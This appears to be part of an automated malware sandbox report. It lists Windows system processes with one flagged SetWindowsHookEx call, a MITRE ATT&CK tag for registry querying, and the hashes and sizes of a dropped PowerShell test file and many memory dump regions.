PID:3128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3728

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2844

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:2000

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3284

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:3140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\Temp\__PSScriptPolicyTest_5ywgkar2.iys.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/424-292-0x000001DD71560000-0x000001DD71584000-memory.dmp

Filesize
144KB

Download
memory/424-925-0x000001DD71560000-0x000001DD71584000-memory.dmp

Filesize
144KB

Download
memory/640-31-0x00000205F9070000-0x00000205F9094000-memory.dmp

Filesize
144KB

Download
memory/640-32-0x00000205F90A0000-0x00000205F90CA000-memory.dmp

Filesize
168KB

Download
memory/640-286-0x00000205F9070000-0x00000205F9094000-memory.dmp

Filesize
144KB

Download
memory/640-287-0x00007FFCE74E4000-0x00007FFCE74E5000-memory.dmp

Filesize
4KB

Download
memory/640-46-0x00007FFCA74D0000-0x00007FFCA74E0000-memory.dmp

Filesize
64KB

Download
memory/640-45-0x00000205F90A0000-0x00000205F90CA000-memory.dmp

Filesize
168KB

Download
memory/640-44-0x00000205F90A0000-0x00000205F90CA000-memory.dmp

Filesize
168KB

Download
memory/640-923-0x00000205F9070000-0x00000205F9094000-memory.dmp

Filesize
144KB

Download
memory/640-43-0x00000205F90A0000-0x00000205F90CA000-memory.dmp

Filesize
168KB

Download
memory/640-42-0x00000205F90A0000-0x00000205F90CA000-memory.dmp

Filesize
168KB

Download
memory/640-33-0x00000205F90A0000-0x00000205F90CA000-memory.dmp

Filesize
168KB

Download
memory/640-41-0x00000205F90A0000-0x00000205F90CA000-memory.dmp

Filesize
168KB

Download
memory/700-62-0x000002B312160000-0x000002B31218A000-memory.dmp

Filesize
168KB

Download
memory/700-290-0x00007FFCE74E3000-0x00007FFCE74E4000-memory.dmp

Filesize
4KB

Download
memory/700-289-0x00007FFCE74E6000-0x00007FFCE74E7000-memory.dmp

Filesize
4KB

Download
memory/700-288-0x000002B312130000-0x000002B312154000-memory.dmp

Filesize
144KB

Download
memory/700-50-0x000002B312160000-0x000002B31218A000-memory.dmp

Filesize
168KB

Download
memory/700-63-0x00007FFCA74D0000-0x00007FFCA74E0000-memory.dmp

Filesize
64KB

Download
memory/700-58-0x000002B312160000-0x000002B31218A000-memory.dmp

Filesize
168KB

Download
memory/700-59-0x000002B312160000-0x000002B31218A000-memory.dmp

Filesize
168KB

Download
memory/700-60-0x000002B312160000-0x000002B31218A000-memory.dmp

Filesize
168KB

Download
memory/700-61-0x000002B312160000-0x000002B31218A000-memory.dmp

Filesize
168KB

Download
memory/724-293-0x000001E237BC0000-0x000001E237BE4000-memory.dmp

Filesize
144KB

Download
memory/724-926-0x000001E237BC0000-0x000001E237BE4000-memory.dmp

Filesize
144KB

Download
memory/988-75-0x000001BA760D0000-0x000001BA760FA000-memory.dmp

Filesize
168KB

Download
memory/988-291-0x000001BA760A0000-0x000001BA760C4000-memory.dmp

Filesize
144KB

Download
memory/988-67-0x000001BA760D0000-0x000001BA760FA000-memory.dmp

Filesize
168KB

Download
memory/988-76-0x000001BA760D0000-0x000001BA760FA000-memory.dmp

Filesize
168KB

Download
memory/988-77-0x000001BA760D0000-0x000001BA760FA000-memory.dmp

Filesize
168KB

Download
memory/988-78-0x000001BA760D0000-0x000001BA760FA000-memory.dmp

Filesize
168KB

Download
memory/988-79-0x000001BA760D0000-0x000001BA760FA000-memory.dmp

Filesize
168KB

Download
memory/988-80-0x00007FFCA74D0000-0x00007FFCA74E0000-memory.dmp

Filesize
64KB

Download
memory/988-924-0x000001BA760A0000-0x000001BA760C4000-memory.dmp

Filesize
144KB

Download
memory/1272-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1272-27-0x00007FFCE6781000-0x00007FFCE67FE000-memory.dmp

Filesize
500KB

Download
memory/1272-25-0x00007FFCE7440000-0x00007FFCE7649000-memory.dmp

Filesize
2.0MB

Download
memory/1272-26-0x00007FFCE6780000-0x00007FFCE683D000-memory.dmp

Filesize
756KB

Download
memory/1272-17-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1272-18-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1272-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1272-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1272-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3040-24-0x00007FFCC5F80000-0x00007FFCC6A42000-memory.dmp

Filesize
10.8MB

Download
memory/3040-16-0x00007FFCC5F80000-0x00007FFCC6A42000-memory.dmp

Filesize
10.8MB

Download
memory/3040-15-0x00007FFCE6780000-0x00007FFCE683D000-memory.dmp

Filesize
756KB

Download
memory/3040-14-0x00007FFCE7440000-0x00007FFCE7649000-memory.dmp

Filesize
2.0MB

Download
memory/3040-13-0x00000130BF5C0000-0x00000130BF5EA000-memory.dmp

Filesize
168KB

Download
memory/3040-12-0x00007FFCC5F80000-0x00007FFCC6A42000-memory.dmp

Filesize
10.8MB

Download
memory/3040-490-0x00007FFCC5F80000-0x00007FFCC6A42000-memory.dmp

Filesize
10.8MB

Download
memory/3040-11-0x00007FFCC5F80000-0x00007FFCC6A42000-memory.dmp

Filesize
10.8MB

Download
memory/3040-2-0x00007FFCC5F80000-0x00007FFCC6A42000-memory.dmp

Filesize
10.8MB

Download
memory/3040-0-0x00007FFCC5F83000-0x00007FFCC5F85000-memory.dmp

Filesize
8KB

Download
memory/3040-1-0x00000130BF230000-0x00000130BF252000-memory.dmp

Filesize
136KB

Download